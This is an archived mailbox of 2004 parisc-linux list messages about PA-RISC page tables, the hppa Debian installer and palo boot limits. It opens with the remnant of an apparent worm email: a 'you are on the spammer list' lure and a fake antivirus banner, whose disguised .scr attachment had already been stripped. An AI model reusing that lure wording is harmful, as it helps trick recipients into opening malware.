------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

I have visited this website and I found you in the spammer list. Is that true?

++++ Attachment: No Virus found
++++ Norman AntiVirus - www.norman.com


------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: text/plain;
	name="DELETED0.TXT"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="DELETED0.TXT"

tMvTyrz+uqzT0L/J0sm4vbz+IGFidXNlX2xpc3QuZG9jICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5zY3IK0tGx
u8m+s/2how==
------=_NextPart_000_0016----=_NextPart_000_0016--


--==M2004041211013207870--


From - Thu Nov 08 21:31:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for altering our Page Table layouts
Date: Sun, 11 Apr 2004 22:32:12 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <20040412043212.GA16377@colo.lackof.org>
References: <200404091438.i39Ec4Q23610@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623361 8156 80.91.229.3 (22 Nov 2014 02:29:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: grundler@lackof.org  Sun Apr 11 22:32:13 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 363EA4844
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Apr 2004 22:32:13 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id A183C2980DD; Sun, 11 Apr 2004 22:32:12 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 17401-03; Sun, 11 Apr 2004 22:32:12 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1981D2980C3; Sun, 11 Apr 2004 22:32:12 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200404091438.i39Ec4Q23610@udlkern.fc.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Apr 2004 04:32:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21376

On Fri, Apr 09, 2004 at 08:38:04AM -0600, John Marvin wrote:
...
> No PA machine actually implements more
> than a 40 bit physical address space (even the latest Pluto based
> machines, which support 44 bits for IA64 are put into a 40 bit addressing
> mode for PARISC).

I was just looking at the pluto "PA_RISC Physical Address Map" and
all RAM is physically located < 1TB (40 bits).
Do we have to worry about the GMMIO (MMIO space above 4GB) in
"F-space" above 1TB?

The per rope 64KB IO Port space is accessed via the GMMIO address ranges.
This is in addition to the "global" IO Port space accessed through the
regular < 4GB MMIO address space. I'm guessing this won't ever need
to be mapped to userspace (or something like that), but just would
like to hear from someone who understands it better whats up.

That's for ZX1+PA8800. I've not looked SX1000 (Superdome).

thanks,
grant


From - Thu Nov 08 21:31:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: if something is not done,
	hppa will not have an installer for sarge
Date: Mon, 12 Apr 2004 12:12:57 +0100
Lines: 120
Approved: news@gmane.org
Message-ID: <20040412111257.GS20209__35653.3777936876$1416623361$gmane$org@linuxcare.com>
References: <20040411165459.GB11699@kitenet.net>
	<20040411171831.GA15032@mcmartin.ca>
	<20040411174629.GA12562@kitenet.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623361 8157 80.91.229.3 (22 Nov 2014 02:29:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:21 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>, debian-boot@lists.debian.org,
	debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
Original-X-From: richard@sleepie.demon.co.uk  Mon Apr 12 05:14:08 2004
Return-Path: <richard@sleepie.demon.co.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sleepie.demon.co.uk (cpc1-hem11-4-0-cust109.lutn.cable.ntl.com
	[80.2.252.109])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE0F648F3
	for <parisc-linux@parisc-linux.org>;
	Mon, 12 Apr 2004 05:14:07 -0600 (MDT)
Original-Received: by sleepie.demon.co.uk (Postfix, from userid 500)
	id A8D14127F48; Mon, 12 Apr 2004 12:12:57 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20040411174629.GA12562@kitenet.net>
User-Agent: Mutt/1.4i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Apr 2004 11:14:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21377

Including parisc-linux@parisc-linux.org as that is where the hppa
developers tend to hang out.

I just had a quick try with 

http://gluck.debian.org/cdimage/testing/daily/hppa/20040411/sarge-hppa-businesscard.iso

I burnt an ISO, and it wouldn't boot on my B180.  It stopped after
'choosing a 32 bit kernel', which I assume indicates some palo
issue.  I believe the ISO was burnt ok, because I later loaded
the udebs from it.

Next I copied the 32 bit kernel and initrd.gz from the ISO and
generated a lifimage, using:

/sbin/palo -k vmlinux-2.4.25-32 -r initrd.gz -c 'ramdisk_size=8192 root=/dev/ram initrd=0/ramdisk devfs=mount,dall' -s di.lifimage -f /dev/null

That netbooted and the kernel started ok, but gave continual segfaults
in frontend, as we saw before.

Next I loopback mounted the initrd and copied the libm-2.3.2.so from
my (not very uptodate) sid system to the initrd overwriting the
libm.so.6 on there (which had been reduced to about 1200 bytes).
A workaround for the glibc issue is to avoid reducing libm to the
point where it has no symbols at all.

I gzipped the initrd again and reran palo.  The new lifimage booted
ok, used framebuffer, and looks fine.  I didn't try modifying any
disk partitions but it found the existing ones ok, including the
palo boot partition which was correctly recognised.

It may be relevant that my palo is 1.3, while the ISO was using
palo 1.4.

It may be relevant that the ISO had a rather long kernel commandline,
relative to the 127 char limit that palo claims.  I'm never sure
whether that 127 char limit is before or after palo adds all the
console and sti related parameters though.

As the ISO I burnt was still in the drive, d-i found that and loaded the
udebs from it.  I then went on to select a remote mirror for loading
the debs.

The install completed successfully, although it installed a 2.4.20
kernel (I guess that is the most recent in testing).

baseconfig worked, although I saw a message in the apt setup stage
briefly that looked like some shell complaint about '['.

Perhaps we should 'fix' mklibs on the system that builds the images to
not reduce libm completely.  Then we need to figure out what the palo
issue is.

This is what i currently have in my mklibs (which I guess worked
round the issue when I last worked on hppa d-i):

    # to be the only one and including it on alpha as well
    # doesn't hurt. I guess all archs can live with this.
    needed_symbols.add(("sys_siglist", 1))
    # This is a hack to stop libm being reduced to nothing
+   # RGH.
+   needed_symbols.add(("log", 1))

    # calculate what symbols are present in small_libs
    present_symbols = Set()

I was surprised to see seperate kernel images, initrd, and iplboot
files on the ISO.  I'd say most people netbooted their hppa boxes,
and we should include a complete lifimage rather than the individual
components.  It may be that this initrd wouldn't have worked if it
had needed to pull udebs from the net though.

Many thanks to the hppa developers that got us a 2.4.25 kernel for
d-i, and to Jeff for the daily images.

Richard


On Sun, Apr 11, 2004 at 01:46:29PM -0400, Joey Hess wrote:
> Kyle McMartin wrote:
> > [Instead of directly CC'ing you Joey, I'm cross-posting to debian-boot]
> > 
> > On Sun, Apr 11, 2004 at 12:54:59PM -0400, Joey Hess wrote:
> > > I just want to make sure that you hppa folk realise that hppa is further
> > > from having a working installer for sarge than any architecture aside
> > > from perhaps s390. AFAIK only one person is working on it at all (and
> > > he's currently away, and his time is split amoung other ports anyway).
> > > The d-i port really needs more than one person working on it, if it's
> > > going to ship with beta 4 of d-i. That's in two weeks.
> > > 
> > > Note that hppa basically worked in mid-January, but it's not been kept
> > > up.
> > > 
> > 
> > The problem with hppa now, seems to be the same as what Richard Hirst
> > reported in January. The initrd issues seem to have been taken care of,
> > and now it's simply a segmentation fault causing problems.
> > 
> > VFS: Mounted root (ext2 filesystem) readonly.                                   
> > Mounted devfs on /dev                                                           
> > Freeing unused kernel memory: 252k freed                                        
> > Setting up filesystem, please wait ...                                          
> > umount: /initrd: Invalid argument                                               
> > Segmentation fault                                                              
> > Segmentation fault
> > [...]
> > 
> > Is what I get when booting the latest netboot build on my 715/100XC.
> 
> There is a patch in the bts for this problem, #228375. I assme that a
> fixed libc6 will be uploaded eventually, but in the meantime I'd hope
> the workaround also in there, which Richard Hirst used, is enough to let
> things be tested and let everything else be gotten working. Basically,
> don't let this issue block you from working on the hppa port!
> 
> -- 
> see shy jo




From - Thu Nov 08 21:31:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: if something is not done, hppa will not have
	an installer for sarge
Date: 12 Apr 2004 09:19:27 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <1081779569.1804.11.camel__24905.0740655095$1416623361$gmane$org@mulgrave>
References: <20040411165459.GB11699@kitenet.net>
	<20040411171831.GA15032@mcmartin.ca>
	<20040411174629.GA12562@kitenet.net> 
	<20040412111257.GS20209@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623361 8159 80.91.229.3 (22 Nov 2014 02:29:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:21 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, debian-boot@lists.debian.org,
	parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: James.Bottomley@SteelEye.com  Mon Apr 12 08:19:35 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id E56A648A0
	for <parisc-linux@parisc-linux.org>;
	Mon, 12 Apr 2004 08:19:34 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3CEJSa20979; Mon, 12 Apr 2004 10:19:28 -0400
In-Reply-To: <20040412111257.GS20209@linuxcare.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Apr 2004 14:19:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21378

On Mon, 2004-04-12 at 06:12, Richard Hirst wrote:
> It may be relevant that the ISO had a rather long kernel commandline,
> relative to the 127 char limit that palo claims.  I'm never sure
> whether that 127 char limit is before or after palo adds all the
> console and sti related parameters though.

That limit is absolute and may not be overrun.  The co-ordinates of the
64 bit kernel lie immediately after the 128 char buffer.  Usually the
system is unbootable if you overrun this limit.

Unfortunately, palo is rather poor about checking this limit when
installing the image or modifying the command line...

James




From - Thu Nov 08 21:31:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for altering our Page Table layouts
Date: 12 Apr 2004 09:20:25 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <1081779626.2060.14.camel@mulgrave>
References: <200404091438.i39Ec4Q23610@udlkern.fc.hp.com> 
	<20040412043212.GA16377@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623362 8165 80.91.229.3 (22 Nov 2014 02:29:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:22 +0000 (UTC)
Cc: John Marvin <jsm@udlkern.fc.hp.com>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Mon Apr 12 08:29:55 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id BAD4B48A0
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Apr 2004 08:29:54 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3CEKPa21034; Mon, 12 Apr 2004 10:20:25 -0400
In-Reply-To: <20040412043212.GA16377@colo.lackof.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Apr 2004 14:29:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21379

On Sun, 2004-04-11 at 23:32, Grant Grundler wrote:
> I was just looking at the pluto "PA_RISC Physical Address Map" and
> all RAM is physically located < 1TB (40 bits).
> Do we have to worry about the GMMIO (MMIO space above 4GB) in
> "F-space" above 1TB?

No, the problem is merely where the page tables go.  They have to be
addressed physically in the page table directories, so if we only allow
for 40 bits of physical addressing, the page tables have to be located
within the first 40 bits of memory.  This doesn't limit the machine
memory size, merely the location of the page tables.

James




From - Thu Nov 08 21:31:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: if something is not done,
	hppa will not have an installer for sarge
Date: Mon, 12 Apr 2004 16:05:56 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20040412150556.GT20209__34676.5114729807$1416623362$gmane$org@linuxcare.com>
References: <20040411165459.GB11699@kitenet.net>
	<20040411171831.GA15032@mcmartin.ca>
	<20040411174629.GA12562@kitenet.net>
	<20040412111257.GS20209@linuxcare.com>
	<1081779569.1804.11.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623362 8169 80.91.229.3 (22 Nov 2014 02:29:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:22 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, debian-boot@lists.debian.org,
	parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: richard@sleepie.demon.co.uk  Mon Apr 12 09:07:07 2004
Return-Path: <richard@sleepie.demon.co.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sleepie.demon.co.uk (cpc1-hem11-4-0-cust109.lutn.cable.ntl.com
	[80.2.252.109])
	by dsl2.external.hp.com (Postfix) with ESMTP id D82CF48A0
	for <parisc-linux@parisc-linux.org>;
	Mon, 12 Apr 2004 09:07:06 -0600 (MDT)
Original-Received: by sleepie.demon.co.uk (Postfix, from userid 500)
	id 22D99127F48; Mon, 12 Apr 2004 16:05:56 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <1081779569.1804.11.camel@mulgrave>
User-Agent: Mutt/1.4i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Apr 2004 15:07:07 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21380

On Mon, Apr 12, 2004 at 09:19:27AM -0500, James Bottomley wrote:
> On Mon, 2004-04-12 at 06:12, Richard Hirst wrote:
> > It may be relevant that the ISO had a rather long kernel commandline,
> > relative to the 127 char limit that palo claims.  I'm never sure
> > whether that 127 char limit is before or after palo adds all the
> > console and sti related parameters though.
> 
> That limit is absolute and may not be overrun.  The co-ordinates of the
> 64 bit kernel lie immediately after the 128 char buffer.  Usually the
> system is unbootable if you overrun this limit.

Unbootable, or unbootable on 64 bit h/w?

> Unfortunately, palo is rather poor about checking this limit when
> installing the image or modifying the command line...

and last time I tried building palo on a sid system to investigate
these hangs on boot, the result didn't work at all :(

Richard



From - Thu Nov 08 21:31:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: if something is not done, hppa will not have
	an installer for sarge
Date: 12 Apr 2004 10:15:46 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <1081782948.2234.26.camel__27512.2744650163$1416623362$gmane$org@mulgrave>
References: <20040411165459.GB11699@kitenet.net>
	<20040411171831.GA15032@mcmartin.ca>
	<20040411174629.GA12562@kitenet.net>
	<20040412111257.GS20209@linuxcare.com>
	<1081779569.1804.11.camel@mulgrave> 
	<20040412150556.GT20209@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623362 8172 80.91.229.3 (22 Nov 2014 02:29:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:22 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, debian-boot@lists.debian.org,
	parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: James.Bottomley@SteelEye.com  Mon Apr 12 09:15:52 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id D715348BD
	for <parisc-linux@parisc-linux.org>;
	Mon, 12 Apr 2004 09:15:51 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3CFFla24031; Mon, 12 Apr 2004 11:15:47 -0400
In-Reply-To: <20040412150556.GT20209@linuxcare.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Apr 2004 15:15:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21381

On Mon, 2004-04-12 at 10:05, Richard Hirst wrote:
> Unbootable, or unbootable on 64 bit h/w?

It seems to be unbootable entirely, but for 32 bit kernels that's random
(sometimes it will, sometimes it won't).

> > Unfortunately, palo is rather poor about checking this limit when
> > installing the image or modifying the command line...
> 
> and last time I tried building palo on a sid system to investigate
> these hangs on boot, the result didn't work at all :(

I think just reducing the command line would be the best option.  Why's
it so long?

James




From - Thu Nov 08 21:31:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: d p chang <weasel@meer.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo 2
Date: 12 Apr 2004 08:49:07 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <m2ptadgpsc.fsf@yoyodyne.local>
References: <Pine.LNX.4.58.0404112251130.26022@sal.ucc.ie>
Reply-To: weasel@cs.stanford.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623362 8175 80.91.229.3 (22 Nov 2014 02:29:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: weasel@meer.net  Mon Apr 12 09:49:34 2004
Return-Path: <weasel@meer.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from outbound0.sv.meer.net (outbound0.sv.meer.net [205.217.152.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABDBA48BD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Apr 2004 09:49:33 -0600 (MDT)
Original-Received: from mail.meer.net (mail.meer.net [209.157.152.14])
	by outbound0.sv.meer.net (8.12.10/8.12.6) with ESMTP id i3CFnBGO032053
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Apr 2004 08:49:11 -0700 (PDT) (envelope-from weasel@meer.net)
Original-Received: from yoyodyne.local.meer.net (c-24-6-253-13.client.comcast.net
	[24.6.253.13])
	by mail.meer.net (8.12.1/8.12.2/meer) with ESMTP id i3CFnAse015694
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Apr 2004 08:49:10 -0700 (PDT) (envelope-from weasel@meer.net)
Original-Sender: dpc@yoyodyne.local
In-Reply-To: <Pine.LNX.4.58.0404112251130.26022@sal.ucc.ie>
Original-Lines: 18
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Apr 2004 15:49:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21382

"M. Grabert" <xam@cs.ucc.ie> writes:

> I'm about to purchase a Voodoo2 PCI graphics card since I saw some
> reports on the p-l list that it is working on Linux/PA-RISC.

hmm... if they are useful to people. anybody (us sf bay area local)
wants one of these (or a singleboard v2 sli) they can have them (you
can't have my cool fib-ed board #2, since it probably won't work anymore
:-)

anyway, i'm not sure what you meant by 'initialization', but the init
code can be done at anytime and doesn't need to have any special
boot-time interpreter stuff (unlike

\p
---
A person with a new idea is a crank until the idea succeeds.
		--- Mark Twain


From - Thu Nov 08 21:31:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 12 Apr 2004 10:55:47 -0500
Lines: 60
Approved: news@gmane.org
Message-ID: <1081785349.2060.28.camel@mulgrave>
References: <20040412154800.D31F6494194@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623363 8178 80.91.229.3 (22 Nov 2014 02:29:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:23 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Mon Apr 12 09:55:50 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DBF3B48CE; Mon, 12 Apr 2004 09:55:49 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3CFtma26183; Mon, 12 Apr 2004 11:55:48 -0400
In-Reply-To: <20040412154800.D31F6494194@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
